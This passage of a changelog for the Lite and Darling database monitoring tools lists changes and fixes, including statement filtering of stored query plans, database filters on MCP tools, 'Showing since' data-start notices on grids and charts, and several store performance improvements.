+- **Stored plans from the MCP plan tools go through the statement filter** ([#5362]) - the stored-plan reads behind get_plan_xml, get_query_store_plan_xml, get_procedure_plan_xml, get_active_query_plan_xml, get_blocking_plan_xml, get_deadlock_plan_xml and the plan analysis tools return plans through the same statement filter as PostgreSQL statement text. A plan over the 512,000-character limit is cut after filtering, and the web read marks it as truncated.
+- **Web pages apply the statement filter to SQL Server statement text and execution plans** ([#5362]) - the web read routes, the triage page, the alert notebook, the fleet sweep feed and the mute-rule routes run their answers through the same statement filter as the MCP tools. The slow-read log filters the arguments it stores. Some administrative statements read as '-- statement text withheld (#4348)'. The rest of the plan is unchanged.
+- **The diagnostics bundle and the analysis drill-down plan warnings go through the statement filter** ([#5362]) - every string in a diagnostics bundle section is judged before names are aliased. Drill-down plan warnings in Darling and Lite come from a judged plan. A predicate quoted in a warning is withheld with its statement.
+- **SQL Server statement text and execution plans go through the statement filter when they are collected** ([#5367]) - Lite and Darling judge them before storing them. This covers query stats, procedure stats, Query Store, blocked process reports, deadlocks, the DMV blocking snapshot, long-query completions, default trace, system_health, job history, query snapshots, plan corrections and oversized plans. The filter applies before text is stored and again when it is read. Some administrative statements read as '-- statement text withheld (#4348)'.
+- **Analysis findings and alert history filter statement text as they are written** ([#5367]) - a finding's story and drill-down and an alert's detail and context go through the statement filter when each is stored, in Lite and Darling.
+- **A plan the statement filter withholds is shown as withheld** ([#5367]) - the Lite and Darling plan viewers say "This plan was withheld by the statement filter (#4348)." and refuse to save it to a .sqlplan file. The oversized-plan sweep stops retrying a plan it cannot judge.
+- **Generic webhook headers are sent only to the generic URL or a path under it** ([#5387]) - The generic webhook's configured headers now go only to the generic URL itself or a path under it, and are never sent across a redirect. This applies to Lite as well.
+- **The database filter now reaches the duration trends, Query Store clutter, long-query and plan-correction reads** ([#5414]). Six Darling tools gain an optional database_name: get_query_duration_trend, get_procedure_duration_trend, get_query_store_duration_trend, get_long_query_completions, get_plan_corrections and get_query_store_clutter. Lite's get_query_duration_trend, get_procedure_duration_trend, get_query_store_duration_trend, get_long_query_completions and get_plan_corrections gain the same. Each limits the read to the chosen databases before any row limit. A blank or whitespace name still means all databases, in both apps. The web pages send the chosen databases to these six reads, so their chips now read "filtered". Answers carry a database_name key. A filtered answer with no rows says "for the database X" (one name) or "for the chosen databases" (two or more).
+- **The blocking charts now say which collector answered, and the desktop viewer's Blocking Severity follows the database filter** ([#5414]). When they draw rows, the blocking trend and severity charts in Lite, the desktop viewer and the web label their source. The label is "blocked-process-report" or "DMV snapshot", the same tags the MCP answers carry. The viewer's Blocking Stats tab also ignored the chosen databases. It now limits the severity read, and its data-start note, to them.
+- **A whitespace-only `database_name` now means every database on the configuration reads** ([#5464]) - get_database_config, get_database_scoped_config and get_query_store_health (Darling and Lite) treated a name of only spaces as a literal database that matched nothing; it now reads as no filter, the same as omitting it. The severe-errors database filter is now case-sensitive and an error whose database id has no known name is in no chosen database, in the Darling MCP tool, the Darling viewer and Lite's Severe Errors tab: on Lite's tab a filter of `proddb` no longer matches a database named `ProdDB`, and a filter entry written as `database_id N` no longer matches an error whose id has no name history.
+- **The database filter reaches the storage and file I/O reads** ([#5462]) - The server page's database filter now applies to four more panels. They are File I/O Latency, database sizes, table and index sizes, and version store. Each shows only the chosen databases. File I/O Latency draws one line per file when exactly one database is chosen. `get_database_sizes`, `get_table_index_sizes`, `get_pvs_stats` and `get_file_io_stats` take a `database_name` argument in Darling's MCP server and in Lite. Every answer, including the empty and not-collected ones, says which database it was limited to. `get_file_io_trend` no longer trims `database_name`, so a name with a leading or trailing space is matched exactly. A name of only spaces still means every database. An empty answer for a database that is not in the newest snapshot now says so for that database instead of blaming collection.
+- **Lite keeps query stats and Query Store stats in one archive file per day** ([#5482]) - Lite's compaction merged these two tables into one file per month. They are now merged one day at a time, as query_snapshots has been since #5434. A one-hour read now touches about 4% of a day's row groups instead of 15-20% of a month's. Month and imported files written earlier stay as they are.
+- **The plan regression check in Darling reads stored per-day totals for closed days** ([#5467]) - The PLAN_REGRESSION fact used to re-read and re-add 14 days of Query Store intervals on every analysis run. On the busiest server of an 87.4 M-row store (4.67 M rows), that took 8.6 s and 986 K buffers. It now builds each closed day's totals once (about 1.1 s per day per server) and reads only the last three days live. A run is about 6x faster (1.28 s) and reads about 3x fewer buffers (338 K). It is not 14x, because three of the 14 days stay live. The comparison window now starts at the beginning of a day, and the regressed-queries drill-down uses the same start. A read that cannot use the totals falls back to the old read. That fallback is logged and records no collection caveat, because nothing is missing.
+- **procedure_stats now fetches plans only for plans the collector has not stored** ([#5502]) - The procedureStatsDeferredPlanFetch setting now defaults to on, so a plan the collector already holds is not rendered on the monitored server and sent again. This cuts plan-rendering CPU on the monitored servers. To restore the old behavior, set procedureStatsDeferredPlanFetch to "off" in darling.json. Azure SQL Database stays off whatever the setting says.
+- **Recommendations skip databases that are a secondary copy on this node** ([#5564]) - A node can hold a secondary copy of an Availability Group database. For that database, Lite and Darling no longer report findings that come from data every copy shares. These are database settings, percent file growth, Query Store plan regressions and table growth. On the FinOps tab they are idle databases, dev and test names, TDE blockers and compression candidates. The node that holds the primary copy reports them. Findings about work on the node, such as queries, missing indexes, blocking and I/O, stay on every node. If the group data is missing or old, nothing is skipped. The tab says how many databases it skipped, and the MCP analysis tools carry a note that says the same.
+- **The Query Store interval tables are partitioned by day** ([#5573]) - On the PostgreSQL store, the two Query Store interval tables now hold one partition per day. Retention drops a whole expired day instead of deleting its rows, and reads with a time range skip the days outside it. The upgrade copies no data. It attaches the current table as a legacy partition without a scan and checks the bound in the background. On a large store the two upgrade steps took 1.1 s and 20 ms. The legacy partition empties through retention and is then dropped. If it holds a row dated far in the future, the table stays as it is, with one warning, until that row is gone.
+- **A long one-counter perfmon trend loads faster** ([#5579]) - perfmon data is now compressed per counter as well as per server. Reading one counter (for example Batch Requests/sec) over 30 days opens only that counter's batches, not every counter's. Older compressed chunks are re-grouped in the background, back to 30 days or to the day before retention drops them, whichever is sooner. The loop takes one chunk at a time, newest first, and after each one it pauses as long as that chunk took. A read beside a re-group waits a few seconds at most. The web viewer's perfmon trend and the `get_perfmon_trend` MCP tool now reach 30 days instead of 7.
+- **The retention purge gives way to collection** ([#5595]) - On a large store, the first purge after the 3.10 upgrade deleted about 18 M rows in 40 minutes. Collection fell behind while it ran. Each batch now waits while collection is skipping slots or the service has just started, and pauses after it runs. A pass stops after 30 minutes, and the next one comes due within an hour until every table is drained. This applies to the daily purge and to purge_now.
+
+### Fixed
+
+- **The web viewer's server page Range now stops at 7 days** ([#4946]) - It is the longest window nearly every panel reads. A Custom View still shows the longer blocking and deadlock history.
+- **Lite and Darling MCP tools now refuse `hours_back: 0.5`** ([#4945]) - They refuse it with a message naming the parameter, and refuse `HOURS_BACK`, a parameter name in the wrong letter case, instead of ignoring it. Text the tools cut short no longer ends in a broken character.
+- **In the Darling Viewer, the Recommendations and FinOps pickers keep their servers** ([#4947]) - They keep them when the server list reloads or a favorite changes.
+- **On Azure SQL Database, the long-query trace runs only in monitored databases** ([#4944]) - Turning it off no longer removes a trace that another registration of the same database still uses. Darling now re-creates a long-query trace session dropped from outside within an hour, instead of reading nothing until it reconnects, and waits an hour before it tries again after a failed hourly attempt. `--drop-xe-sessions` now also drops the long-query trace session from the databases a server excludes, and still leaves any database that is monitored as its own server or where another registration keeps the session. An excluded database it cannot open is reported in a note and does not change the exit code. Lite no longer drops the session from a database another registration keeps when the engine edition reads blank and then 5 during one cycle.
+- **The first daily summary after a start no longer waits on the rollup coverage probe** ([#4968]) - on a store with a long Query Store history the probe that measures how far back each rollup reaches took about 10 s, and every data source paid it on its own: at start, after a failed probe, and once an hour. The floors are now measured once per store (a database recreated under the same name is measured again), the service and the Viewer measure them in the background shortly after start, and a floor between one and two hours old is served from the cache while one background pass re-measures it. A floor two hours old or older is measured by the caller, so a floor is never served once it is two hours old.
+- **MCP tool calls whose arguments the server cannot read are refused with a message that names the argument** ([#4960]) - a whole number past the parameter's range, null for a number, a number sent for text, or text sent for true or false used to get the generic invocation error. Lite and the Darling service now check each value against the type the tool declares for that parameter before the call runs.
+- **Darling's Query Store top read no longer walks every index entry a server holds** ([#4952]) - `get_query_store_top` took 5-10 s per call on a large store. Its time bound is the seventh key of the interval table's unique index, so it scanned every entry the server had. Darling now builds an index on `(server_id, first_execution_time)` in the background, 20 minutes after the service starts, without blocking writes. Results are unchanged. At 168 h, the web viewer's table read and the duration-trend read still use the older index. The check for legacy rows is answered from a small index for a 24-hour window ([#5021]); a longer window still reads the server's older data ([#4972]).
+- **Active Queries, Current Waits and Custom Views panels say where their data starts, and the Queries tab stops showing it for a quiet start** ([#4953]) - A short range was drawn as the whole window, and a quiet start was called a cut. Custom Views panels in the web viewer, and the `run_custom_view_panel` MCP tool, which shares their runner, now say where a panel's data starts when it begins after the window does. Active Queries and Current Waits in the Darling viewer and in Lite show the "Showing since" banner when a custom range reaches past what the store holds (Darling keeps 7 days of `query_snapshots` and `waiting_tasks` by default). The Queries tab banner, `get_top_queries_by_cpu`, `get_top_procedures_by_cpu` and `get_query_store_top` in both apps, and `get_query_store_clutter` in Darling, no longer call a quiet start a cut: the window's floor is now the oldest row at or before the window's end, so a server that was quiet for the first hours of a window reads as covered. The start these tools report never comes before the requested start.
+- **Darling compresses new `collection_log` chunks by collector as well as by server** ([#4951]) - Reading one collector decompresses only its own runs.
+- **Faster "latest collector outcome" check on MCP reads** ([#4975]) - the read that tells an empty answer apart from a collector problem no longer sorts a server's whole collection history, cutting it from hundreds of milliseconds to under one on a large store.
+- **Lite and Darling stop dropping Extended Events sessions that another install reads** ([#4967]) - Installs that monitored the same server made their long-query session under one shared name, so each dropped the other's session. Each install now keeps an id of its own and names its sessions with it. Lite keeps the id in a file at its data root, which Import Settings never copies, and Darling keeps it in its store. The first start after the upgrade drops the old shared-name session once. A long-query session that cannot be created logs its first failure at Warning and the repeats at Debug. The install id survives a major store upgrade (it keeps the id when the store's database and install-id table OIDs match and the major version rose; a dump and restore gets a new id; store schema 159 adds two nullable columns for this), and Lite never replaces an install-id file it fails to read or uses an id it fails to save (#4986). `--drop-xe-sessions` prints its shared-names warning before it drops anything, and both READMEs note that on Hyperscale with several high-availability replicas a stop reaches only one replica.
+- **Custom Views panels that hit the 60 s limit say so** ([#4976]) - a panel whose query runs out of time, on the web page or through the `run_custom_view_panel` MCP tool, now reports the timeout with the actionable text instead of "Error running query", and a panel that cannot get a store connection in time says that instead.
+- **get_collection_health and the Darling Collection Health grid read the newest row per collector through index lookups, not four full-window sorts** ([#4983]) - the per-server collection-health read ranked every run of its seven-day window four times (three in the viewer's grid) to reach one newest row per collector. It now finds each of those rows through the (server, collector, time) index. The columns and values are unchanged, and the plain aggregates still read the window. On a seven-day store of 218,000 runs, a cold get_collection_health read takes about a fifth of the time it did, and the grid's about an eighth.
+- **Hourly store maintenance and self-metrics no longer stall collection** ([#4978]) - both once-an-hour store passes now run in the background instead of holding back every sweep launch, their table changes wait at most a few seconds for a lock, a missing tuning index is built at the next service start instead of beside live collection, and a change that stays blocked for three passes in a row now logs a warning.
+- **Darling's README now states one PostgreSQL minimum for the store, 16** ([#4988]) - The README said 16 was recommended in Prerequisites and 15+ in the systemd section, and code comments said 17. The minimum is 16: the analysis reads use `any_value()` (new in PostgreSQL 16), and TimescaleDB 2.29 and later no longer supports PostgreSQL 15. Prerequisites now says so once, the systemd section points to it, and the comments match. Nothing changes at run time.
+- **Filtered Custom Views Query Store panels read less on the raw route** ([#4985]) - the snapshot dedupe ranks only partitions that hold a matching row, with identical results.
+- **Lite's Plan Corrections grid, Query Heatmap and Memory Pressure Events chart say where their data starts, and the heatmap draws its empty days** ([#4991]) - when a range started before a server's data began, these drew the shorter data with no notice, and the heatmap squeezed the empty days out so two rows a week apart drew side by side. Each now shows "Showing since <time>". The Plan Corrections grid names the oldest row it shows when it fills its 200-row cap, and the heatmap draws one column per 5-minute bucket from where its data starts to the range end, so a gap shows as empty columns.
+- **Grids, charts and MCP replies in Lite, the Darling viewer and the web viewer say where their data starts when a range reaches back past it** ([#4966], [#5000], [#4998], [#4989], [#5015], [#5010], [#4990], [#5022], [#5031], [#5026], [#5030], [#5035], [#5086], [#5096], [#5111], [#5172]) - A range that reaches back before a server's first collection, or before retention, was drawn as the shorter range with no notice. Each item below covers one set of surfaces, and the MCP time-window item also prints every returned bound in UTC.
+  - **The web server page's wait and contention grids say where their data starts** ([#5000]) - The grids are, for SQL Server, Waiting Tasks, Latch Stats, Spinlock Stats and Wait Stats, and for PostgreSQL, Wait Events, Sampled Waits, OS CPU by Query, Lock Activity and Predicate Selectivity. a server added two days ago showed two days of rows under "last 7 days" with nothing saying so. When a grid's table starts covering the server more than 90 minutes after the window does, the grid now names where the data starts; a window the store covered, and a quiet start, show no notice. The notices, and the Queries tab's Query Store notice, name times in the browser's own time zone like the grid beneath them; MCP answers keep UTC.
+  - **The Darling desktop viewer's Blocked Process Reports, Deadlocks, System Events, Default Trace, Long Queries, Plan Corrections, Query Heatmap and Query Store Regressions grids now say where their data starts** ([#4998]) - A range that reached back past a server's coverage, such as a newly added server or a custom range past the retention horizon, drew a shorter list with no notice, and the missing span read as a quiet period. Each grid now shows the "Showing since" banner the Queries tab uses, naming the earlier of where the collector's coverage starts and the earliest event or row the grid shows. The System Events grids and Default Trace share one banner above the sub-tab control; Default Trace events (server clock) are compared in UTC; Long Queries compares the event times it shows; the Query Heatmap names the earlier of the coverage start and the first column drawn; Query Store Regressions names where its earlier 7-day comparison window's data starts. A Blocked Process Reports, Deadlocks, Long Queries or Plan Corrections grid that shows a full page of its newest rows (200, 50, 200, 200) names its oldest row. Blocked Process Reports takes coverage from both its collectors. Every banner names its time to the second.
+  - **Lite's Collection Log, System Events, Config Changes and Long Queries grids say where the data starts, and the Duration Trends chart draws the whole range** ([#4989], [#4966]) - When the chosen range began before a server's data, these grids drew the shorter range with no notice. That read as a quiet period. The Collection Log, the eight System Events grids that read stored events, Default Trace, the three Config Changes grids and Long Queries now show "Showing since <time>" beside the grid. The time is where the stored data begins: the first collection, or the oldest stored event for the System Events and Default Trace grids. That event can be older than the first collection, because a run can read events from before it. The Long Queries grid lists the newest 200 completions. When the window held more, the notice names the oldest completion shown. Under that cap, it names the oldest completion shown when that is earlier than the first collection, since a first run stores completions from just before itself. The Collection Log grid names the oldest of its newest 500 runs when the window held more. A quiet start, where the collector ran through the whole range but stored nothing near its start, shows no notice. The Collection Health Duration Trends chart used to get only the Collection Log grid's newest 500 runs. On a long range it drew the newest slice and left the rest of its axis empty, though the runs were stored. It now reads the whole range and draws each collector's slowest run per time bucket. Its hover names the bucket's average and run count, also for the buckets after a gap in the line. Its Y axis reads "Slowest run per bucket (ms)". The Health Summary and the Corruption Events and Contention Events charts are unchanged.
+  - **MCP time-window tools print every returned bound in UTC with the Z, and an empty answer no longer claims its window was covered** ([#5015]) - `oldest_returned_*` and `newest_returned_*` fields, and the instants in Darling's hourly-tier notes of `get_top_queries_by_cpu` and `get_top_procedures_by_cpu`, printed in the store's naive form in places, so a reader could not tell which clock they were on. They now end in Z in both apps and name the same instants. Row times are unchanged. In Lite, `get_active_queries`, `get_waiting_tasks`, `get_query_store_regressions` and `get_query_heatmap` wrote `effective_start`, `window_truncated` and `truncation_note` on a data answer only, and never checked a window of 90 minutes or less, so an empty answer read as a true negative. An empty answer now carries the three keys under `hints`, is checked against the store whatever the window's length, and reports `window_truncated: true` with no `effective_start` when the store holds no collection for the server in that window. In both apps, `get_query_store_regressions` with a `database_name` filter reports the all-clear only when that database was collected in both the baseline and the window. Otherwise it says which side is missing, or that the filter matched nothing.
+  - **The Config Changes and Collection Log grids, in the Darling viewer and on the web server page, say where their data starts, the viewer's Duration Trends chart draws the whole range, and a Custom Views notice names its times in your time zone** ([#5010]) - A range that reached back before a server's data began showed a short history with nothing saying so. In the viewer, the Server, Database and Trace Flag Changes grids, the Collection Log grid and the per-collector collection history window now show a "Showing since" note naming where the data starts. On the web page, the Server, Database, Trace Flag and PostgreSQL Configuration Changes grids and both Collection Log grids show the same note. A Collection Log page cut by its row limit (500 runs in the viewer) and a PostgreSQL changes page cut by its limit name their oldest row. A Custom Views panel's "partial window" notice now names its times in your browser's time zone, like the rest of the page, instead of UTC. On the web page, an empty grid whose range began before the data now shows the note above its empty message as well. This covers the change grids, both Collection Log grids, Waiting Tasks, and the PostgreSQL wait sampling, kernel, lock and predicate statistics grids. In the viewer, the Collection Health tab's Duration Trends chart drew only the newest 500 runs of the Collection Log grid's page against an axis spanning the whole range (about 25 minutes of "Last 24 hours" on a server logging about 20 runs a minute, with the rest of the axis empty). It now reads its own buckets over the whole range (one minute wide for 24 hours, ten minutes for 7 days) and draws each collector's slowest run in each bucket, and its vertical axis now says "Slowest run per bucket (ms)". Its hover now also says how many runs each point is the slowest of and what the bucket averaged, in the same words as Lite's. An empty range no longer leaves the previous range's lines answering the hover. The grid keeps its 500-row page.
+  - **Lite's Blocked Process Reports and Deadlocks grids now say where their data starts** ([#4990]) - A range that reached back before a server's first collection, or before retention, drew a shorter grid with no notice, which could pass for a quiet period. Both grids now show "Showing since <time>" when the range starts before coverage, on every read of the grid (refresh, slicer drag, chart drill-down). The time named is the oldest event shown where a first collection stored older history, a grid that fills its page (the newest 200 blocked process reports, the newest 50 deadlocks) names its oldest row, and the Blocked Process Reports notice counts the always-on DMV blocking snapshots as coverage too. A server that was collected over the whole range shows no notice, even when its first event came late. The Query Heatmap's "Showing since" notice now names the start of the first column the chart draws, not the time of the first stored row inside it, which could be up to one 5-minute column later.
+  - **The Darling viewer's Query Store Clutter panel and Memory Pressure Events chart say where their data starts** ([#5022]) - Both surfaces drew a range that reached before the server's first collection or the table's purge edge as if it were whole, so a short history read as a quiet one. They now show the same "Showing since" note the other server-tab grids show. The Query Store Clutter note names the later of the two starts its sources report (the plan churn's and the Query Store collector's read cost). The Memory Pressure Events note names the earlier of the coverage start and the earliest event drawn. A quiet week with one event at its end names nothing.
+  - **Lite's per-collector Collection History window now says where its data starts** ([#5031]) - The window lists one collector's runs over the last 7 days and said nothing when the server's collection log started after that week began, so a short list looked complete. It now shows a "Showing since" note, worded from the server's collection log (a collector that started late in a week the server's log covers says nothing) and in the same time zone the window's run times use. The note is hidden when the log reaches back to the week's start (to within 90 minutes), and a failed lookup hides the note without costing the list any rows. The list also now stops at the moment the window opened, which is where the note's lookup stops.
+  - **Job History says where its data starts when the range reaches before it** ([#5026]) - The Job History tab in the Darling viewer and in Lite listed runs from a range that started before the data did. Nothing said the range was cut short. It now shows "Showing since <time>" above the grid, to the second. The time is the earlier of where collection began and the earliest run shown, or the oldest run on a full page of 2,000. Lite's Job History also windows each server on its own clock now. It falls back to the server's open tab's clock, then the machine's. The viewer's count text keeps its 2,000-run label under a column filter.
+  - **The desktop viewer's Blocking Trends and Blocking Stats charts say where their data starts** ([#5030]) - the Lock Wait, Blocking and Deadlock trend charts and the Blocking Stats charts now show "Showing since <time>" when the range reaches before their data does, so an empty stretch no longer reads as no blocking. Each chart names its own source's start.
+  - **PostgreSQL windowed grids say where their data starts** ([#5035]) - the Darling viewer's PostgreSQL Blocking, Top Queries, Database stats, Log Events, Deadlocks, Lock stats, Kernel stats, Captured plans, CPU, Wait sampling, Session states, Xmin horizon, Autovacuum, Wait stats, I/O stats, Write stats, Replication stats, Table bloat and Index usage grids show a "Showing since" note when the range reaches before their data.
+  - **Lite's latch and spinlock trend charts say where their data starts** ([#5086]) - when the store's data begins inside the chosen window, the charts show a "Showing since" note instead of a flat zero line.
+  - **Lite's Blocking Trends, Blocking Stats and Lock Wait Trend charts say where their data starts** ([#5096]) - when the store's data begins inside the chosen window, the charts show a "Showing since" note instead of drawing zeros as if nothing had happened.
+  - **The Overview blocking and deadlock chart says where its data starts** ([#5111]) - a "Showing since" note appears above the chart when the data begins after the window does, so an empty stretch no longer reads as "nothing happened".
+  - **Lite's system-health MCP tools say where their data starts** ([#5172]) - the nine `get_health_parser_*` tools now return `effective_start`, `window_truncated` and `truncation_note` after `hours_back`, and the same keys under `hints` on an empty answer, so an empty answer over a window the store does not reach back to is no longer read as "nothing happened".
+  - **Lite's default trace, wait stats and blocking stats MCP tools say where their data starts** ([#5172]) - `get_default_trace_events`, `get_wait_stats` and `get_blocking_stats` now write `effective_start` (UTC), `window_truncated` and `truncation_note` after `hours_back`, so a window the store never covered no longer reads as a quiet one. `get_blocking_stats` gives one notice from the later of its blocking and deadlock start points, so an uncovered deadlock half no longer reads as "no deadlocks". An empty default trace or blocking answer carries the same keys under `hints`.
+- **RDS log reads for several targets at once no longer fail or skip log lines** ([#5006]) - a PostgreSQL log collector run (log events, deadlocks, plans) against Amazon RDS or Aurora targets could fail with "Collection was modified; enumeration operation may not execute" when a store monitored several RDS targets and their log reads overlapped. The same overlap could also drop a read's saved position without any error, so a later read could skip older log lines. The log positions and partial-record carries those reads keep are now guarded against concurrent use, and the first failure of each kind from a collector now writes its full exception text to the service log.
+- **A once-a-day collector no longer stalls its server's 1-minute collectors** ([#4999]) - Darling ran each daily collector (such as index_object_stats) inside its server's sequential pass, so one long run (43 minutes across 72 databases in a field case) held back every 1-minute collector on that server. Collectors scheduled daily or slower now run detached from the pass, one run at a time per server and collector, under a fleet-wide cap: the smaller of 16 and the store's pool size minus the sweep width minus 8 kept free for reads, never below 1 (a pool of 24 with a sweep 9 wide allows 7), logged at start and whenever a sweep-width change moves it. A run over the cap waits for a slot and is never dropped; a run still going when the next comes due skips that run. `get_collection_health` leaves the detached collectors (the daily ones by their scheduled interval, plus query_store, plan_correction and pg_wait_sampling) out of its sweep-body roll-up, so a long daily run no longer reads as a body overrun. `snapshot_now` skips a daily collector whose scheduled run is still going and lists it under `skipped`. A detached run executing for 15 minutes or more logs one warning naming its server and collector, where a stuck run used to show only as stale data at 36 hours. Collection health judges each collector by its scheduled interval, so a collector set to every 12 hours no longer shows as stale, in the Darling viewer and fleet summary, Lite's Collection Health tab, and `get_collection_health` in both apps. Shutdown also waits for running query_store, plan_correction and pg_wait_sampling runs, as it did for daily runs.
+- **A custom view panel whose store connection times out while opening says so** ([#5016], [#5052]) - The web viewer's custom view panels and the `run_custom_view_panel` MCP tool said "could not get a store connection in time" for only one of the ways the PostgreSQL driver reports a timed-out open. A timeout inside the GSS step, a connect or read timeout that the operating system reported, and a wait for the data source's first-time setup ended in a vague "could not open a store connection" or "The operation has timed out." They now all say the connection could not be had in time. A refused, reset or closed connection, a failed login and a name that does not resolve still say the store could not be opened. A failure that arrives at or after the connection's timeout, less 100 ms, with no answer from the server and the caller still waiting, is also reported as "could not get a store connection in time", however the driver wraps the timeout; a failure the server answered keeps its own message.
+- **Query Store reads no longer scan the last day's raw rows to rule out legacy rows** ([#5021]) - Before a Query Store read uses the interval table (Custom Views panels, `get_query_store_top`, and the viewer's Query Store grid and duration trend), Darling checks that the server's window holds no raw row without an interval start. That check read every recent raw row in the window: 0.6 s for one busy server at 24 h on a large store. Darling now builds a small partial index on those rows when the service starts, so a 24-hour window's check is answered from the index alone. Older, compressed data is still read as before, so a 168-hour window keeps that part of the cost (1.3 s of 1.7 s). Results are unchanged. The first start after the upgrade builds the index once, before collection begins; on a large store the build's read took about a minute.
+- **The Darling viewer's Overview blocking and deadlock chart says where its data starts** ([#5024]) - the chart now shows a "Showing since" note when its data starts after the window does, naming the later of the two series' starts, so the empty stretch before a series starts no longer reads as nothing happening.
+- **The web dashboard's Availability Groups page shows every AG view again** ([#5045]) - since 3.9.0 the page could show one card for a fleet with several AGs, because it was cut to the MCP tool's response budget. /api/ag no longer applies that budget, and the page shows a note if a response is ever cut. get_ag_health's own cut now keeps at least one view of each AG first (its most severe one), and names any AG that got no view instead of claiming every AG is present.
+- **A run-time edit that lands just as that daily collector starts no longer makes it run twice that day** ([#5051]) - a schedule reload that overlapped the start of a daily collector's run could forget the run and schedule it again the same day; the run and the reload now update the schedule one at a time.
+- **The FinOps Index Analysis tab and get_finops index_analysis pick the same row every time when one index has two rows at the same collection time** ([#5059]) - they could show either row's usage counters; the newest-written row now wins.
+- **Long-window Custom Views panels over query statistics no longer time out** ([#5076]) - A `query_stats` panel that sums, or takes the maximum or minimum of, a cumulative measure over 12 hours or more ending now reads its whole middle hours from the hourly rollup, once a per-server, per-hour row count proves the rollup holds exactly the raw rows. On a large store, the fleet 24-hour panel by database and object went from about 110 s, past the 60 s timeout, to about 20-35 s. Any mismatch or doubt reads raw as before.
+- **The FinOps Optimization tab's most expensive queries no longer change which tied statements make the cut** ([#5078]) - When several statements tied on total CPU at the top-N cut, the database picked which ones were shown. The Darling viewer, Lite and `get_finops` now order ties by database, SQL handle and query text, so the same statements show every time.
+- **Storage Growth counts a table created during the window as growing by its whole size** ([#5080], [#4902]) - In both apps, the web tab and `get_finops`, a table with no row at the start of the window now ranks by its current size instead of last (grid) or as zero (heatmap), so the grid and heatmap show the same tables. A database with a single snapshot in the window still reads n/a. This reverses part of [#4902], which showed n/a for every table with no earlier sample: a table created inside the window now ranks by its current size, and its percent stays n/a.
+- **The Storage Growth index drill shows when its snapshot was collected** ([#5079]) - the per-table index list reads the database's newest snapshot with no time bound, so it can be old; the desktop and Lite grids gain a last Collected column, the web tab a Collected notice, and `get_finops` `storage_growth` publishes `captured_at` at the indexes level.
+- **Index Analysis lists only the indexes in each database's newest snapshot, and answers in under a second on large servers** ([#5083]) - it showed every index seen in the retention window, including indexes that had since been dropped, and read every retained snapshot to do it; a database that has left collection scope still shows its last snapshot.
+- **Index Analysis says when each database's snapshot was collected** ([#5084]) - the desktop and web grids gain a Collected column and `get_finops` `index_analysis` publishes `captured_at` per database, so a database that has left collection scope shows how old its last snapshot is.
+- **Plans captured from PostgreSQL 16 and later servers no longer keep bind parameter values** ([#5112]) - `auto_explain`'s "Query Parameters" field is removed with the query text before the plan is stored or hashed, so the values are not kept, and runs that differ only in their parameter values share one plan. Plans stored earlier are not rewritten. They age out with their retention: within 14 days of the upgrade in Darling (the `pg_plan_capture` collector's default retention) and within about 3 months in Lite (its archive retention) (#5115).
+- **The stall probe no longer ranks idle background waits first** ([#5113]) - `get_collector_stall_probes` ranked idle background waits first (one task waiting about 21 days won every probe on one production server); the top five now rank user-task waits, count the background tasks, and report this service's own session wait.
+- **Lite's deadlock, blocked process report and long query MCP tools say where their data starts** ([#5127]) - `get_deadlocks`, `get_deadlock_detail`, `get_blocked_process_reports`, `get_blocked_process_xml` and `get_long_query_completions` now carry `effective_start`, `window_truncated` and `truncation_note`, and an empty answer carries them under `hints`, so a quiet-looking window the store does not reach back to no longer reads as "nothing happened".
+- **The web server page's Memory Grant Pressure, Resource Semaphore Pressure, Plan Corrections and Query Store clutter panels now say where their data starts** ([#5144]) - On a server with a short history, these panels showed a 7-day range with no hint that the data began later. They now carry the same "partial window" note as the other grids, and a capped Plan Corrections list names its oldest recommendation. The newest-snapshot panels beside them are labelled as snapshots and get no note.
+- **get_read_latency stays within the MCP response budget** ([#5149]) - a large `limit` no longer returns hundreds of KB; rows are taken in p95-desc order until the 32 KB budget is reached, and `truncated`, `reads_returned` and `reads_total` say how many were left out.
+- **Lite's config change, collection log, plan correction and memory pressure MCP tools say where their data starts** ([#5147]) - `get_server_config_changes`, `get_database_config_changes`, `get_trace_flag_changes`, `get_collection_log` (one server), `get_plan_corrections` and `get_memory_pressure_events` now carry `effective_start`, `window_truncated` and `truncation_note`, and an empty answer carries them under `hints`, so an empty answer over a window the store does not reach back to no longer reads as "nothing happened" (part of #4966).
+- **Darling's active queries, waiting tasks, query heatmap and Query Store regressions say where their data starts** ([#5147]) - These four MCP tools now write `effective_start`, `window_truncated` and `truncation_note`, and carry them under `hints` on an empty answer, so an empty or short answer no longer reads as a quiet server when the store does not reach back to the start of the window. In both apps, `get_active_queries` now previews query text at 400 characters instead of 500, to keep a cut window inside the response budget; `full_text: true` still returns the whole text.
+- **PostgreSQL plans are grouped by their shape** ([#5155]) - The plan hash now covers a plan's shape only: costs, row estimates, runtime counters, buffers, settings and JIT no longer change it, so a statistics refresh stops reading as a plan change. `get_pg_plans` and the viewer fold the estimate variants of one plan into one row (showing the latest capture's JSON), and the plan-change and parameter-sensitivity findings fire only when the plan tree changes. On the first analysis pass after the upgrade, a statement captured on both sides may report one plan change, and captured-plan lists show pre-upgrade groups beside new ones for up to 14 days.
+- **collection_log records the monitored server's session id again** ([#5154]) - `target_session_id` was null on every SQL Server collector run because the driver reports no session id on connections with multiple active result sets. It is now looked up once per physical connection and cached.
+- **PostgreSQL window aggregates, trend grids and Captured Plans on the web server page say where their data starts** ([#5165]) - top queries, blocking, database stats, session states, I/O and replication stats, the database, query-duration, wait and I/O trends, and Captured Plans now show "partial window: this panel's data starts at ..." when a server's history is shorter than the chosen range, including on an empty panel that looked and found nothing. Part of #4966.
+- **Darling's config change, collection log, plan correction and memory pressure MCP tools say where their data starts** ([#5181]) - `get_server_config_changes`, `get_database_config_changes`, `get_trace_flag_changes`, `get_collection_log` (one server), `get_plan_corrections` and `get_memory_pressure_events` carry `effective_start`, `window_truncated` and `truncation_note`, under `hints` on an empty answer, so an empty or short answer over a window the store never covered no longer reads as a quiet one. The web page also stops passing a tool's own data-start keys through on a covered window.
+- **The blocking charts' "Showing since" note now follows the blocked process report collector when the chart draws its reports** ([#5159]) - in Lite and the desktop viewer, a window the DMV blocking snapshots covered but whose blocked process report collector started midway no longer reads as covered; the note names where that collector's coverage starts.
+- **Darling's blocking, deadlock and long query tools say where their data starts** ([#5171]) - get_blocking, get_deadlocks, get_deadlock_detail, get_blocked_process_xml and get_long_query_completions now report effective_start, window_truncated and truncation_note, so an empty or short answer over a window the store does not reach back to is no longer read as nothing happened.
